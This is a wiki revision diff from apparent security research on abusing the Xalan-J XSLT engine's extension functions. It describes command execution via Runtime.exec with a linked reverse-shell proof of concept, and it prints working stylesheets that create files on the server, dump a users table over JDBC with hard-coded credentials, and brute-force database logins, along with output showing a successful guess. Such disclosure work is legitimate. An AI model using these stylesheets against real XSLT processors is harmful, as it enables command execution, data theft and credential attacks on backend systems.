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Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 51.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:53
Change comment: There is no comment for this version
To version Icon 63.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 22:14
Change comment: There is no comment for this version

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... ... @@ -52,7 +52,38 @@
52 52  
53 53  Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
54 54  
55 +|=Namespace|=Extension functions|=PoC
56 +|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
57 +
58 +__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]].
59 +
60 +== File creation ==
61 +
62 +The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
63 +
64 +|=Namespace|=Extension element|=Parameter|=PoC
65 +|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]
66 +
67 +== JDBC connectivity ==
68 +
69 +It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver.
70 +
71 +=== Simple connection ===
72 +
73 +The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result.
74 +
55 55  |=Namespace|=Extension function|=PoC
56 -|http:~/~/xml.apache.org/xalan/java|getRuntime() + exec()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
76 +|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]]
57 57  
58 -__Note__ : as arraye are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]].
78 +=== Credentials brute-forcing ===
79 +
80 +The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] file will read some tuples (JDBC driver, database URL, username, passsword) from a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-).
81 +
82 +
83 +Here's the output when launched from the CLI :
84 +
85 +##$> java org.apache.xalan.xslt.Process -in xalanj-jdbc-bruteforce.xml -xsl xalanj-jdbc-bruteforce.xsl 2> /dev/null
86 +Username : [root] / Password : [] :
87 +Username : [root] / Password : [uberpasswd] :
88 +Username : [root] / Password : [cnam] : OK !!
89 +Username : [pma] / Password : [pma] : ##
Icon xalanj-jdbc-bruteforce.xml
Author
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1 +xwiki:XWiki.NicolasGregoire
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1 +775 bytes
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1 +<data>
2 + <foobar>
3 + <DBINFO>
4 + <dbdriver>com.mysql.jdbc.Driver</dbdriver>
5 + <dburl>jdbc:mysql://localhost/</dburl>
6 + <user>root</user>
7 + <password></password>
8 + </DBINFO>
9 + </foobar>
10 + <foobar>
11 + <DBINFO>
12 + <dbdriver>com.mysql.jdbc.Driver</dbdriver>
13 + <dburl>jdbc:mysql://localhost/</dburl>
14 + <user>root</user>
15 + <password>uberpasswd</password>
16 + </DBINFO>
17 + </foobar>
18 + <foobar>
19 + <DBINFO>
20 + <dbdriver>com.mysql.jdbc.Driver</dbdriver>
21 + <dburl>jdbc:mysql://localhost/</dburl>
22 + <user>root</user>
23 + <password>cnam</password>
24 + </DBINFO>
25 + </foobar>
26 + <foobar>
27 + <DBINFO>
28 + <dbdriver>com.mysql.jdbc.Driver</dbdriver>
29 + <dburl>jdbc:mysql://localhost/</dburl>
30 + <user>pma</user>
31 + <password>pma</password>
32 + </DBINFO>
33 + </foobar>
34 +</data>
35 +
Icon xalanj-jdbc-bruteforce.xsl
Author
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1 +xwiki:XWiki.NicolasGregoire
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1 +979 bytes
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1 +<?xml version="1.0"?>
2 +
3 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
4 + version="1.0"
5 + xmlns:sql="org.apache.xalan.lib.sql.XConnection"
6 + extension-element-prefixes="sql">
7 +
8 +<xsl:output method="text" indent="yes"/>
9 +<xsl:variable name="query">SELECT "OK !!"</xsl:variable>
10 +
11 +<xsl:template match="//data">
12 + <xsl:for-each select="foobar">
13 +
14 + <xsl:variable name="cinfo" select="DBINFO"/>
15 + <xsl:variable name="user" select="DBINFO/user/text()"/>
16 + <xsl:variable name="passwd" select="DBINFO/password/text()"/>
17 +
18 + <xsl:variable name="db" select="sql:new($cinfo)"/>
19 + <xsl:variable name="data" select='sql:query($db, $query)'/>
20 +
21 + <xsl:copy-of select="concat('Username : [', $user, '] / ')" />
22 + <xsl:copy-of select="concat('Password : [', $passwd, '] : ')" />
23 + <xsl:copy-of select="$data" /><xsl:copy-of select="'&#x0A;'" />
24 +
25 + </xsl:for-each>
26 +</xsl:template>
27 +
28 +</xsl:stylesheet>
29 +
Icon xalanj-jdbc-query.xsl
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1 +xwiki:XWiki.NicolasGregoire
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1 +848 bytes
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1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 + xmlns:sql="org.apache.xalan.lib.sql.XConnection"
3 + extension-element-prefixes="sql"
4 + version="1.0">
5 +
6 +<xsl:output method="xml" indent="yes"/>
7 +
8 +<xsl:param name="driver" select="'com.mysql.jdbc.Driver'"/>
9 +<xsl:param name="dburl" select="'jdbc:mysql://localhost/test_db'"/>
10 +<xsl:param name="user" select="'root'"/>
11 +<xsl:param name="pass" select="'14m31337'"/>
12 +<xsl:param name="query" select="'SELECT uid,username,passwd FROM users'"/>
13 +
14 +<xsl:template match="/">
15 + <xsl:variable name="dbh" select="sql:new($driver, $dburl, $user, $pass)"/>
16 + <xsl:variable name="table" select='sql:query($dbh, $query)'/>
17 + <xsl:copy-of select="$table" />
18 + <xsl:value-of select="sql:close($db)"/>
19 +</xsl:template>
20 +
21 +</xsl:stylesheet>
22 +
Icon xalanj-write.xsl
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1 +xwiki:XWiki.NicolasGregoire
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1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 + xmlns:redir="http://xml.apache.org/xalan/redirect"
3 + extension-element-prefixes="redir"
4 + version='1.0'>
5 +
6 + <xsl:template match="/">
7 + <redir:write file="/tmp/created_by_xalanj_write" method="text">
8 + <xsl:text>Just a PoC</xsl:text>
9 + </redir:write>
10 + </xsl:template>
11 +
12 +</xsl:stylesheet>
13 +